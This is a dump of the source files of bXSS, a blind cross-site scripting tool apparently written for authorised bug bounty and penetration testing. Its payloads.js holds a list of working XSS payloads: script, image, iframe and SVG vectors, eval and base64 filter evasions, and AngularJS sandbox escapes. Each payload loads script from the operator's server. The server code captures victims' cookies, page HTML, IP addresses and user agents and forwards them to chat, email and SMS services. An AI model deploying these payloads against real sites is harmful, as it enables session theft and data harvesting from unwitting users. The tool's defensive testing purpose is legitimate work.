[
  {
    "path": ".dockerignore",
    "content": "node_modules\nserver/config/configExample.js\nserver/config/site.conf\nfound/\ncerts/\n.idea/\ntest.html"
  },
  {
    "path": ".github/workflows/codeql-analysis.yml",
    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\n#\n# ******** NOTE ********\n# We have attempted to detect the languages in your repository. Please check\n# the `language` matrix defined below to confirm you have the correct set of\n# supported CodeQL languages.\n#\nname: \"CodeQL\"\n\non:\n  push:\n    branches: [ master ]\n  pull_request:\n    # The branches below must be a subset of the branches above\n    branches: [ master ]\n  schedule:\n    - cron: '22 7 * * 2'\n\njobs:\n  analyze:\n    name: Analyze\n    runs-on: ubuntu-latest\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n\n    strategy:\n      fail-fast: false\n      matrix:\n        language: [ 'javascript' ]\n        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]\n        # Learn more:\n        # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v2\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v1\n      with:\n        languages: ${{ matrix.language }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file.\n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n        # queries: ./path/to/local/query, your-org/your-repo/queries@main\n\n    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).\n    # If this step fails, then you should remove it and run the build manually (see below)\n    - name: Autobuild\n      uses: github/codeql-action/autobuild@v1\n\n    # ℹ️ Command-line programs to run using the OS shell.\n    # 📚 https://git.io/JvXDl\n\n    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines\n    #    and modify them (or add more) to build your code if your project\n    #    uses a compiled language\n\n    #- run: |\n    #   make bootstrap\n    #   make release\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v1\n"
  },
  {
    "path": ".gitignore",
    "content": "node_modules\nserver/config/config.js\nserver/config/site.conf\nfound/\ncerts/\n.idea/\ntest.html\nDockerfile"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018 Lewis Ardern\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# [bXSS](https://github.com/LewisArdern/bXSS)\n\n<!-- prettier-ignore-start -->\n<a href=\"https://codeclimate.com/github/LewisArdern/bXSS/maintainability\"><img src=\"https://api.codeclimate.com/v1/badges/a8e30934a0be1952891c/maintainability\" /></a>\n<a href=\"https://lgtm.com/projects/g/LewisArdern/bXSS/context:javascript\"><img alt=\"Language grade: JavaScript\" src=\"https://img.shields.io/lgtm/grade/javascript/g/LewisArdern/bXSS.svg?logo=lgtm&logoWidth=18\"/></a>\n<!-- prettier-ignore-end -->\n\nbXSS is a utility which can be used by bug hunters and organizations to identify [Blind Cross-Site Scripting](https://ardern.io/2017/12/10/blind-xss/).\n\nbXSS supports the following:\n\n- [Intrusive Levels](./Images/intrusion.jpg)\n- [Email](./Images/email.jpg)\n  - [Auto report via /.well-known/security.txt](./Images/securitytxt.jpg)\n- [Twilio](./Images/sms.jpg)\n- [Slack](./Images/slack.jpg)\n- [Webex Teams](./Images/cisco.jpg)\n- [Discord](./Images/discord.jpg)\n- [Twitter](./Images/twitter.jpg)\n- [Github](./Images/github.JPG)\n- [Payload Generation](./Images/payloads.jpg)\n- [Save locally](./Images/file.jpg)\n\n# Requirements\n\n## Necessary\n\n- Server you control\n- Usable domain\n- Node.js and Express.js\n\n## Optional\n\n- [SMTP](https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol)\n- [Twilio Account](https://www.twilio.com/sms)\n- [Slack Token](https://api.slack.com/docs/token-types)\n- [Cisco Token](https://developer.webex.com/docs/api/v1/people/get-my-own-details)\n- [Discord Token](https://github.com/reactiflux/discord-irc/wiki/Creating-a-discord-bot-&-getting-a-token)\n- [Github Access Token](https://github.com/settings/tokens)\n- [Twitter Developer Account](https://developer.twitter.com/en/apply/user)\n- [SSL/TLS Certificate](https://letsencrypt.org)\n\n# Set-Up\n\n## Default\n\n- cd bXSS && npm install\n- Update The Configuration || Environment Variables\n  - Domain\n    - config.url = Domain intended for use e.g ardern.io\n    - config.port.http = Port to run the Node.js app e.g 80\n- Rename configExample.js to config.js\n\n## Configuring Services\n\nServices are optional, by default bXSS will save a markdown file to disk. If you don't want to use any service documented below, just delete the service from the config.\n\n- Twilio\n  - config.twilio.accountSid = [Twilio SID](https://support.twilio.com/hc/en-us/articles/223136607-What-is-an-Application-SID)\n  - config.twilio.authToken = [Twilio Auth Token](https://support.twilio.com/hc/en-us/articles/223136027-Auth-Tokens-and-how-to-change-them)\n  - config.twilio.to = ['+447500000000','+0018056826043'] Your telephone number(s)\n  - config.twilio.from = [Twilio telephone number](https://support.twilio.com/hc/en-us/articles/223136207-Getting-started-with-your-new-Twilio-phone-number)\n- Slack\n  - config.slack.token = [Slack Token](https://api.slack.com/docs/token-types)\n  - config.slack.channel = [Channel you want to send the report to](https://get.slack.help/hc/en-us/articles/201402297-Create-a-channel)\n  - Slack permissions required [channels:read](https://api.slack.com/scopes/channels:read) and [chat:write](https://api.slack.com/scopes/chat:write)\n- Cisco\n  - config.ciscoSpark.token = [Cisco Token](https://developer.webex.com/docs/api/v1/people/get-my-own-details)\n  - config.ciscoSpark.sparkRoom = ['email1@domain.com','email2@domain.com']\n- Discord\n  - Steps to create a bot:\n    - Visit https://discordapp.com/developers/applications/\n    - Create a new application (e.g bXSSForCompany)\n    - Make a note of your CLIENT ID\n    - Select 'Bot'\n      - Choose a USERNAME and press 'Click to Reveal Token' (copy the token)\n    - Visit the following URL (update with your CLIENT ID) https://discordapp.com/oauth2/authorize?&client_id=YOUR_CLIENT_ID&scope=bot&permissions=2048\n    - Select the server you want your bot to join and authorize\n    - Update the following values below for the bot to post to the 'text channel' e.g ('general')\n  - config.discord.token = 'your bot token'\n  - config.discord.channel = 'channel that you want it to join, e.g general'\n- Twitter\n  - config.twitter.consumer_key = API Key\n  - config.twitter.consumer_secret = API Secret Key\n  - config.twitter.access_token_key = Application Access Token\n  - config.twitter.access_token_secret = Application Access Token Secret\n  - Permissions (Write)\n  - config.twitter.recipient_id = Twitter User ID, which can be found [here](https://twitter.com/settings/your_twitter_data)\n- SMTP\n  - config.smtp.user = email username\n  - config.smtp.pass = email password\n  - config.smtp.port = port you are connecting to e.g 465\n  - config.smtp.host = host you are connecting to e.g smtp.example.com\n  - config.smtp.to = ['email1@domain.com','email2@domain.com'] where you want to send the emails\n  - config.smtp.tls = use TLS, boolean true or false\n- Github\n  - [config.github.accessToken](https://github.com/settings/tokens) = ''\n  - config.github.repo = '' an example is lewisardern/bXSS\n\n## Setting Up HTTPS\n\nConsider using a [reverse proxy](https://www.nginx.com/resources/glossary/reverse-proxy-server/), for example in [NGINX](https://pastebin.com/nCVSh5iv), but if you want to configure HTTPS using express, follow the steps below:\n\n- Obtain a let's Encrypt cert\n  - [Manual](https://gist.github.com/davestevens/c9e437afbb41c1d5c3ab)\n  - [certbot](https://medium.com/@yash.kulshrestha/using-lets-encrypt-with-express-e069c7abe625)\n- Using Node.js\n  - Update Configuration\n    - config.letsEncrypt.TLS = true;\n    - config.letsEncrypt.publicKey = \\$Path/fullchain.pem\n    - config.letsEncrypt.privateKey = \\$Path/privkey.pem\n    - config.letsEncrypt.ca = \\$Path/chain.pem\n    - config.port.https = 443\n\n## Starting The Application\n\nOnce you have configured the above, simply start the server with any available utility at the application root directory:\n\n- node app.js\n- nodemon app.js\n- pm2 start app.js\n\n# Using\n\nOnce the application is functional, you would just identify sites you are authorized to test and start to inject different payloads that will attempt to load your resource, the easiest example is:\n\n```\n\"><script src=\"https://example.com/m\"></script>\n```\n\nThe application has the following routes:\n\n- POST - /m (Captures DOM information)\n- GET - /mH (Captures HTTP interactions)\n- GET - /alert (displays alert(1))\n- GET - /payloads (Gives payloads you can use for testing blind xss)\n- GET - /\\*\\* (All other routes load the payload)\n\n# Contribute?\n\nIf you like the project, feel free to contribute or if you want to suggest improvements or notice any problems, file a [issue](https://github.com/LewisArdern/bXSS/issues).\n"
  },
  {
    "path": "app.js",
    "content": "process.env.NODE_PATH = __dirname;\nrequire('module').Module._initPaths();\n\n//\nconst express = require('express');\nconst fs = require('fs');\nconst https = require('https');\n\nconst app = express();\nconst config = require('server/utilities/config');\nconst path = require('path');\n\nconst dir = path.normalize(`${__dirname}/server/found/`);\nconst urls = path.normalize(`${dir}urls.txt`);\nconst date = path.normalize(`${dir}date.txt`);\nconst moment = require('moment');\n\nrequire('server/config/express')(app);\nrequire('server/config/routes')(app, config);\n\n/**\n * Checks if folders exist, creates them otherwise.\n */\n\nif (!fs.existsSync(dir)) {\n  fs.mkdirSync(dir);\n}\nif (!fs.existsSync(urls)) {\n  fs.writeFileSync(urls, 'http://example.com:3000/index.html\\r\\n', err => {\n    if (err) throw err;\n    console.log(`Created ${urls}`);\n  });\n}\nif (!fs.existsSync(date)) {\n  fs.writeFileSync(\n    date,\n    moment()\n      .subtract(1, 'day')\n      .format('YYYY-MM-DD'),\n    err => {\n      if (err) throw err;\n      console.log(`Created ${date}`);\n    }\n  );\n}\n\napp.listen(config.port.http, () => console.log(`bXSS listening on port ${config.port.http}`));\nif (config.isValid(['letsEncrypt.TLS'])) {\n  if (\n    fs.existsSync(config.letsEncrypt.publicKey) &&\n    fs.existsSync(config.letsEncrypt.privateKey) &&\n    fs.readFileSync(config.letsEncrypt.ca) &&\n    config.letsEncrypt.TLS === true\n  ) {\n    const options = {\n      cert: fs.readFileSync(config.letsEncrypt.publicKey),\n      key: fs.readFileSync(config.letsEncrypt.privateKey),\n      ca: fs.readFileSync(config.letsEncrypt.ca)\n    };\n    https.createServer(options, app).listen(config.port.https);\n  }\n}\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"bXSS\",\n  \"version\": \"1.0.0\",\n  \"description\": \"bXSS is a simple Blind XSS application adapted from https://cure53.de/m\",\n  \"main\": \"app.js\",\n  \"scripts\": {\n    \"test\": \"jest --modulePaths .\",\n    \"lint\": \"eslint server\",\n    \"prettier\": \"prettier server/**/*.{js,json,md}\",\n    \"format\": \"npm run prettier -- --write\",\n    \"validate\": \"npm run lint && npm run prettier -- --list-different\",\n    \"precommit\": \"lint-staged && npm test\"\n  },\n  \"author\": \"Lewis Ardern\",\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"body-parser\": \"^1.18.2\",\n    \"btoa\": \"^1.2.1\",\n    \"ciscospark\": \"^1.32.23\",\n    \"cors\": \"^2.8.5\",\n    \"discord.js\": \"^11.4.2\",\n    \"express\": \"^4.16.2\",\n    \"helmet\": \"^3.12.0\",\n    \"jsdom\": \"^13.2.0\",\n    \"moment\": \"^2.21.0\",\n    \"nodemailer\": \"^6.4.16\",\n    \"nodemailer-markdown\": \"^1.0.3\",\n    \"octonode\": \"^0.9.5\",\n    \"slack\": \"^11.0.0\",\n    \"twilio\": \"^3.18.0\",\n    \"twitter-lite\": \"^0.8.0\",\n    \"uuid\": \"^3.2.1\",\n    \"validator\": \"^13.7.0\"\n  },\n  \"devDependencies\": {\n    \"eslint\": \"^4.19.1\",\n    \"eslint-config-airbnb\": \"^16.1.0\",\n    \"eslint-config-airbnb-base\": \"^12.1.0\",\n    \"eslint-config-prettier\": \"^3.3.0\",\n    \"eslint-plugin-import\": \"^2.9.0\",\n    \"eslint-plugin-jest\": \"^22.1.2\",\n    \"eslint-plugin-jsx-a11y\": \"^6.0.3\",\n    \"eslint-plugin-prettier\": \"^3.0.0\",\n    \"eslint-plugin-react\": \"^7.7.0\",\n    \"husky\": \"^1.2.1\",\n    \"jest\": \"^23.6.0\",\n    \"lint-staged\": \"^8.1.0\",\n    \"prettier\": \"^1.15.3\"\n  },\n  \"eslintConfig\": {\n    \"extends\": [\n      \"airbnb-base\",\n      \"prettier\",\n      \"plugin:jest/recommended\"\n    ],\n    \"plugins\": [\n      \"jest\"\n    ],\n    \"parserOptions\": {\n      \"ecmaVersion\": \"2018\"\n    },\n    \"env\": {\n      \"node\": true,\n      \"jest/globals\": true\n    },\n    \"rules\": {\n      \"no-console\": 0,\n      \"no-underscore-dangle\": 0,\n      \"global-require\": 0\n    },\n    \"settings\": {\n      \"import/resolver\": {\n        \"node\": {\n          \"paths\": [\n            \".\"\n          ]\n        }\n      }\n    }\n  },\n  \"lint-staged\": {\n    \"*.js\": [\n      \"eslint\"\n    ],\n    \"*.{js,json,md}\": [\n      \"prettier --write\",\n      \"git add\"\n    ]\n  },\n  \"prettier\": {\n    \"printWidth\": 100,\n    \"singleQuote\": true\n  }\n}\n"
  },
  {
    "path": "server/config/configExample.js",
    "content": "const config = {};\n\nconfig.twilio = {};\nconfig.gmail = {};\nconfig.slack = {};\nconfig.letsEncrypt = {};\nconfig.ciscoSpark = {};\nconfig.discord = {};\nconfig.twitter = {};\nconfig.smtp = {};\nconfig.github = {};\nconfig.port = {};\n\nconfig.port.http = process.env.httpPort || 80;\nconfig.url = process.env.url || 'localhost';\nconfig.boundary = process.env.boundary || '#!!!!#';\nconfig.bodyLimit = process.env.bodyLimit || '50mb';\n\nconfig.letsEncrypt.TLS = false;\nconfig.port.https = process.env.httpsPort || 443;\nconfig.letsEncrypt.publicKey =\n  process.env.publicKey || `/etc/letsencrypt/live/${config.url}/fullchain.pem`;\nconfig.letsEncrypt.privateKey =\n  process.env.privateKey || `/etc/letsencrypt/live/${config.url}/privkey.pem`;\nconfig.letsEncrypt.ca = process.env.ca || `/etc/letsencrypt/live/${config.url}/chain.pem`;\n\n// Remove if you dont' want Twilio\nconfig.twilio.accountSid = process.env.accountSid || '';\nconfig.twilio.authToken = process.env.authToken || '';\nconfig.twilio.to = process.env.twilioTo || ['']; // add additonal numbers with comma seperation e.g '+447000000', ''\nconfig.twilio.from = process.env.twilioFrom || '';\n\n// Remove if you dont want Discord\nconfig.discord.token = process.env.discordToken || '';\nconfig.discord.channel = process.env.discordChannel || '';\n\n// Remove if you dont want Slack\nconfig.slack.token = process.env.token || '';\nconfig.slack.channel = process.env.slackChannel || '';\n\n// Remove if you dont want Cisco Webex Teams\nconfig.ciscoSpark.token = process.env.sparkToken || '';\nconfig.ciscoSpark.sparkRoom = process.env.sparkRoom || ['']; // add additonal emails with comma seperation e.g 'youremail@gmail.com', ''\n\n// Remove if you don't want Twitter\nconfig.twitter.consumer_key = process.env.twitterConsumerKey || '';\nconfig.twitter.consumer_secret = process.env.twitterSecret || '';\nconfig.twitter.access_token_key = process.env.twitterAccessKey || '';\nconfig.twitter.access_token_secret = process.env.twitterAccessSecret || '';\nconfig.twitter.recipient_id = process.env.recipient || ['']; // add additional recipients which can be comma seperation e.g '12030210321','1232131321'\n\n// Remove if you don't want email\nconfig.smtp.user = process.env.smtpUser || 'user@example.com';\nconfig.smtp.pass = process.env.smtpPass || 'hunter2';\nconfig.smtp.port = process.env.smtpPort || '469';\nconfig.smtp.host = process.env.smtpHost || 'smtp.example.com';\nconfig.smtp.tls = process.env.smtpTls || true; // true or false\nconfig.smtp.to = process.env.smtpTo || ['user2@example.com']; // add additonal emails with comma seperation '', ''\n\n// Remove if you don't want github\nconfig.github.accessToken = process.env.accessToken || '';\nconfig.github.repo = process.env.githubRepo || '';\n\n// 1 Everything\n// 0 Just DOM Nodes\nconfig.intrusiveLevel = 0;\n\nmodule.exports = config;\n"
  },
  {
    "path": "server/config/express.js",
    "content": "const bodyParser = require('body-parser');\nconst helmet = require('helmet');\nconst config = require('../utilities/config');\nconst cors = require('cors');\n\nmodule.exports = app => {\n  app.use(helmet()); // Remove x-powered and add default security headers\n  app.use(cors()); // Use for payloads which perform XHR and trigger pre-flight.\n  app.use(bodyParser.json({ limit: config.bodyLimit })); // to support JSON-encoded bodies\n  app.use(\n    bodyParser.urlencoded({\n      limit: config.bodyLimit,\n      // to support URL-encoded bodies\n      extended: true\n    })\n  );\n};\n"
  },
  {
    "path": "server/config/routes.js",
    "content": "const xss = require('../controllers/xss');\n\nmodule.exports = app => {\n  // Whenever _ body is sent via /m/ POST it will trigger the capture request\n  app.post('/m', xss.capture);\n  // Captures HTTP interactions for example var x = New Image;x.src='//localhost/mH';\n  app.get('/mH', xss.capture);\n  // This GET query show's payloads that can be used when testing for bXSS.\n  app.get('/payloads', xss.generatePayloads);\n  // just shows alert(1), for normal xss.\n  app.get('/alert', xss.displayDefault);\n  // For CSP Base href redirection\n  app.get('*', xss.displayScript);\n};\n"
  },
  {
    "path": "server/controllers/xss.js",
    "content": "const uuid = require('uuid/v1');\n\nconst config = require('server/utilities/config');\nconst template = require('server/utilities/templates/script');\nconst payloads = require('server/utilities/payloads');\nconst Domain = require('server/utilities/domain');\nconst URL = require('url');\n\nconst reporters = [\n  require('server/utilities/services/email'),\n  require('server/utilities/services/slack'),\n  require('server/utilities/services/discord'),\n  require('server/utilities/services/spark'),\n  require('server/utilities/services/twitter'),\n  require('server/utilities/services/sms'),\n  require('server/utilities/services/github'),\n  require('server/utilities/save')\n];\n\n/* eslint-disable no-shadow */\nfunction reportToUtilities(guid, domain, config) {\n  reporters.forEach(svc => svc.send(guid, domain, config));\n}\n\nexports.displayScript = (req, res) => {\n  res.type('.js');\n  res.send(template.generateTemplate(config));\n};\n\nexports.displayDefault = (req, res) => {\n  res.type('.js');\n  res.send('alert(1)');\n};\n\nexports.generatePayloads = (req, res) => {\n  res.set('Content-Type', 'text/plain');\n  res.send(payloads.generatePayloads(config));\n};\n\nexports.capture = (req, res) => {\n  let domain = {};\n  const guid = uuid();\n  if (req.body._) {\n    domain = Domain.fromPayload(req.body._, config);\n  } else {\n    domain = new Domain(config);\n    domain.url = req.get('referer') || null;\n  }\n  domain.victimIP =\n    req.headers['x-forwarded-for'] ||\n    req.connection.remoteAddress ||\n    req.socket.remoteAddress ||\n    req.connection.socket.remoteAddress ||\n    null;\n  domain.userAgent = req.headers['user-agent'] || null;\n\n  if (domain.url !== null) {\n    const validDomain = new URL.URL({ toString: () => domain.url });\n    if (validDomain.protocol === 'https:' || 'http:' || 'file:') {\n      reportToUtilities(guid, domain, config);\n    }\n  }\n  res.redirect(`${domain.url}#x1`);\n};\n"
  },
  {
    "path": "server/utilities/config.js",
    "content": "/* eslint valid-typeof: \"off\" */\nconst assert = require('assert');\n\nlet config = {};\ntry {\n  config = require('server/config/config');\n} catch (e) {\n  console.log(`Error loading config: ${e}`);\n}\n\n/**\n * Converts a string specification of types into predicate functions.\n * @example resolveTestTypes('number|string|null')\n * @param {string} types A bar-delimited string of JS types\n * @return {Array<function>}\n */\nfunction resolveTypePredicates(types) {\n  assert(typeof types === 'string', `Expected string, got ${typeof types}`);\n  return types.split('|').map(type => {\n    if (type === 'any') {\n      return val => !(val === undefined || val === null);\n    }\n    switch (type) {\n      case 'null':\n        return val => [null, undefined].indexOf(val) !== -1;\n      case 'array':\n        return val => val instanceof Array;\n      case 'object':\n        return val => !(val instanceof Array) && typeof val === 'object';\n      default:\n        return val => typeof val === type;\n    }\n  });\n}\n\n/**\n * Returns a node specified by a string path in dot notation.\n * @param {string} path A path to a nested property in dot notation\n * @param {object} obj The object to traverse\n * @return {any} The value of the nested property\n */\nconfig.get = path =>\n  path.split('.').reduce((obj, key) => (typeof obj === 'object' ? obj[key] : undefined), config);\n\n/**\n * Check supplied config values against a type specification.\n * @example isValid(['port.http', 'url']) checks only if the keys are defined\n * @example isValid({'port.http': 'number', 'url': 'string|null'}) type checks\n * @param {object|Array<string>} spec A keys->type specification object, or list of keys\n * @return {bool} Whether the specified keys meet the criteria.\n */\nconfig.isValid = spec =>\n  !(spec instanceof Array ? spec : Object.keys(spec)).some(key => {\n    assert(typeof key === 'string', `Expected string, got ${typeof key}`);\n    const predicates = resolveTypePredicates(spec[key] || 'any');\n    const value = config.get(key);\n    return !predicates.some(pred => pred(value));\n  });\n\n//\nmodule.exports = config;\n"
  },
  {
    "path": "server/utilities/domain.js",
    "content": "const validator = require('validator');\nconst payloads = require('./payloads');\n\nclass Domain {\n  constructor(config = {}) {\n    this.data = new Map();\n    this.config = config;\n    return new Proxy(this, this);\n  }\n\n  static from(data, config = {}) {\n    const domain = new Domain(config);\n    Domain.FIELDS.forEach(key => {\n      let val = data[key];\n      if (val === 'null' || val === undefined) val = null;\n      domain[key] = val;\n    });\n    return domain;\n  }\n\n  static fromArray(arr = [], config = {}) {\n    const domain = {};\n    Domain.FIELDS.forEach((key, idx) => {\n      domain[key] = arr[idx];\n    });\n    return Domain.from(domain, config);\n  }\n\n  static fromPayload(payload, config = {}) {\n    return Domain.fromArray(unescape(payload).split(`\\r\\n\\r\\n${config.boundary}`), config);\n  }\n\n  get(_, prop) {\n    if (this[prop] !== undefined) {\n      return this[prop];\n    }\n    const getter = `get${prop.charAt(0).toUpperCase()}${prop.slice(1)}`;\n    if (typeof this[getter] === 'function') {\n      return this[getter]();\n    }\n    return this.data.get(prop);\n  }\n  set(_, prop, value) {\n    const setter = `set${prop.charAt(0).toUpperCase()}${prop.slice(1)}`;\n    if (typeof this[setter] === 'function') {\n      this[setter](value);\n    } else {\n      this.data.set(prop, value);\n    }\n    return true;\n  }\n  [Symbol.iterator]() {\n    return this.data.iterator();\n  }\n\n  html() {\n    return this.innerHTML || this.openerInnerHTML;\n  }\n  processHTML(html) {\n    if (this.config.intrusiveLevel !== 1 && html) {\n      return html\n        .split(',')\n        .map(node => `${node}<br/>`)\n        .join('');\n    }\n    return html;\n  }\n  setInnerHTML(html) {\n    this.data.set('innerHTML', this.processHTML(html));\n  }\n  setOpenerInnerHTML(html) {\n    this.data.set('openerInnerHTML', this.processHTML(html));\n  }\n  setPayload(payload) {\n    this.data.set('payload', payloads.processPayload(payload, this.config));\n  }\n\n  /**\n   * Takes in an XHR response captured from the client-side\n   *\n   * It will check to see if a value includes Contact: (which is used in the\n   * spec e.g https://www.google.com/.well-known/security.txt, Strip away Contact: and mailto: and remove any whitespace\n   *\n   * @param {string} securityTxt\n   * @returns {array}\n   */\n  setHasSecurityTxt(securityTxt) {\n    let securityTxtEmail = [];\n    if (typeof securityTxt === 'string') {\n      securityTxt.split('\\r\\n').forEach(item => {\n        if (item.includes('Contact:')) {\n          const email = item\n            .replace('Contact:', '')\n            .replace('mailto:', '')\n            .trim();\n          if (validator.isEmail(email) && !securityTxtEmail.includes(email))\n            securityTxtEmail.push(email);\n        }\n      });\n    }\n    if (securityTxtEmail[0] === undefined) {\n      securityTxtEmail = null;\n    }\n    this.data.set('hasSecurityTxt', securityTxtEmail);\n  }\n}\n\nDomain.FIELDS = [\n  'cookie',\n  'innerHTML',\n  'url',\n  'openerLocation',\n  'openerInnerHTML',\n  'openerCookie',\n  'hasSecurityTxt',\n  'payload',\n  'victimIP',\n  'userAgent'\n];\n\nmodule.exports = Domain;\n"
  },
  {
    "path": "server/utilities/payloads.js",
    "content": "const jsdom = require('jsdom');\n\nconst { JSDOM } = jsdom;\n\nexports.generatePayloads = config =>\n  this.payloadList(config)\n    .map(payload => `Description: ${payload.description}\\r\\n${payload.payload}\\r\\n\\r\\n`)\n    .join('');\n\nexports.payloadList = config => {\n  const payloads = [\n    {\n      description: 'Image HTTP Interaction',\n      payload: `\"><img src='//${config.url}/mH'/>`\n    },\n    {\n      description: 'External JavaScript',\n      id: '1',\n      payload: `\"><script id='1' src=\"//${config.url}/m\"></script>`\n    },\n    {\n      description: 'JavaScript URI',\n      id: '2',\n      payload: `javascript:eval('d=document; _ = d.createElement(\\\\'script\\\\');_.id='2';_.src=\\\\'//${\n        config.url\n      }/m\\\\';d.body.appendChild(_)\")`\n    },\n    {\n      description: 'JavaScript URI href',\n      id: '3',\n      payload: `\"><a href=\"javascript:eval('d=document; _ = d.createElement(\\\\'script\\\\');_.id=\\\\'3\\\\';_.src=\\\\'//localhost/m\\\\';d.body.appendChild(_)')\">Click</a>`\n    },\n    {\n      description: 'https://html5sec.org - Self-executing focus event via autofocus',\n      id: '4',\n      payload: `\"><input onfocus=\"eval('d=document; _ = d.createElement(\\\\'script\\\\');_.id=\\\\'4\\\\';_.src=\\\\'\\\\/\\\\/localhost/m\\\\';d.body.appendChild(_)')\" autofocus>`\n    },\n    {\n      description: 'https://html5sec.org - HTML5 - JavaScript execution via <iframe> and onload',\n      id: '5',\n      payload: `<iframe onload=\"eval('d=document; _=d.createElement(\\\\'script\\\\');_.id=\\\\'5\\\\';_.src=\\\\'\\\\/\\\\/${\n        config.url\n      }/m\\\\';d.body.appendChild(_)')\">`\n    },\n    {\n      description:\n        'https://html5sec.org - SVG - SVG tags allow code to be executed with onload without any other elements. This makes for a very short and effective XSS vector, useful in many situations.',\n      id: '6',\n      payload: `<svg onload=\"javascript:eval('d=document; _ = d.createElement(\\\\'script\\\\');_.id=\\\\'6\\\\';_.src=\\\\'//${\n        config.url\n      }\\\\';d.body.appendChild(_)')\" xmlns=\"http://www.w3.org/2000/svg\"></svg>`\n    },\n    {\n      description:\n        'https://html5sec.org - eventhandler -  element fires an \"onpageshow\" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. ',\n      id: '7',\n      payload: `\"><body onpageshow=\"eval('d=document; _ = d.createElement(\\\\'script\\\\');_.id=\\\\'7\\\\'_.src=\\\\'//${\n        config.url\n      }/m\\\\';d.body.appendChild(_)')\">`\n    },\n    {\n      description:\n        'xsshunter.com - Matthew Bryant - For when <script> tags are explicitly filtered.',\n      id: '8',\n      payload: `\"><img src=x id='${this.encodePayload(\n        config,\n        '8'\n      )}'; onerror=eval(atob(this.id))></script>`\n    },\n    {\n      description: 'xsshunter.com - Matthew Bryant - jQuery Payload',\n      payload: `\"><script>$.getScript(\"//${config.url}/m\")</script>`\n    },\n    {\n      description: 'xsshunter.com - Matthew Bryant - XHR',\n      payload: `\"><script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener(\"load\", b);a.open(\"GET\", \"//${\n        config.url\n      }/m\");a.send();</script>`\n    },\n    {\n      description: 'Mario Heiderch - Angular/JS Payload',\n      id: '9',\n      payload: `{{constructor.constructor(\"d=document; _ = d.createElement('script');_.id='9';_.src='//${\n        config.url\n      }/m';d.body.appendChild(_)\")()}} `\n    },\n    {\n      description: 'Lewis Ardern/Gareth Heyes - AngularJS Payload',\n      id: '10',\n      payload: `{{$on.constructor(\"d=document; _ = d.createElement('script');_.id='10';_.src='//${\n        config.url\n      }/m';d.body.appendChild(_)\")()}}`\n    },\n    {\n      description: 'Gareth Heyes - 1.2.0 - 1.2.5 - AngularJS Payload',\n      id: '11',\n      payload: `{{ a=\"a\"[\"constructor\"].prototype;a.charAt=a.trim; $eval('a\",eval(\\`d=document;_=d\\\\\\\\x2ecreateElement(\\\\'script\\\\'); _\\\\\\\\x2eid=\\\\'11\\\\'; _\\\\\\\\x2esrc=\\\\'//localhost/m\\\\'; d\\\\\\\\x2ebody\\\\\\\\x2eappendChild(_);\\`),\"') }}`\n    },\n    {\n      description: 'Jan Horn - 1.2.6 - 1.2.18 - AngularJS Payload',\n      id: '12',\n      payload: `{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval(\"d=document; _ = d.createElement(\\\\'script\\\\');_.id=\\\\'12\\\\';_.src=\\\\'//${\n        config.url\n      }/m\\\\';d.body.appendChild(_)\")')()}}`\n    },\n    {\n      description: 'Mathias Karlsson - 1.2.19 (FireFox) AngularJS Payload',\n      id: '13',\n      payload: `{{toString.constructor.prototype.toString=toString.constructor.prototype.call;[\"a\",'eval(\"d=document; _ = d.createElement(\\\\'script\\\\');_.id=\\\\'13\\\\';_.src=\\\\'//${\n        config.url\n      }/m\\\\';d.body.appendChild(_)\")'].sort(toString.constEructor);}}`\n    },\n    {\n      description: 'Gareth Heyes - 1.2.20 - 1.2.29 - AngularJS Payload',\n      id: '14',\n      payload: `{{a=\"a\"[\"constructor\"].prototype;a.charAt=a.trim;$eval('a\",eval(\\`d=document; _=d\\\\\\\\x2ecreateElement(\\\\'script\\\\');_\\\\\\\\x2eid=\\\\'14\\\\';_\\\\\\\\x2esrc=\\\\'//${\n        config.url\n      }/m\\\\';d\\\\\\\\x2ebody\\\\\\\\x2eappendChild(_);\\`),\"')}}`\n    },\n    {\n      description: 'Gareth Heyes - 1.3.0 - 1.3.9 - AngularJS Payload',\n      id: '15',\n      payload: `{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,eval(\\`d=document; 